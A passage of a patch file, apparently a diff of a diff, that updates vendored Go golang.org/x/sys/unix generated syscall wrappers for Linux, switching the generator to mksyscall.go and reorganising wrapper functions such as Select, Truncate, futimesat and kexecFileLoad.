-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1734,7 +337,7 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1755,8 +358,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +369,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1876,8 +481,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1886,13 +496,8 @@ func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2091,6 +696,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2127,8 +747,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2137,8 +762,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2155,3 +780,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func syncFileRange2(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(flags), uintptr(off), uintptr(n), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-index a8a2b0b0..888f21d3 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,ppc64le syscall_linux.go syscall_linux_ppc64x.go
-+// go run mksyscall.go -tags linux,ppc64le syscall_linux.go syscall_linux_ppc64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,ppc64le
-@@ -14,1270 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
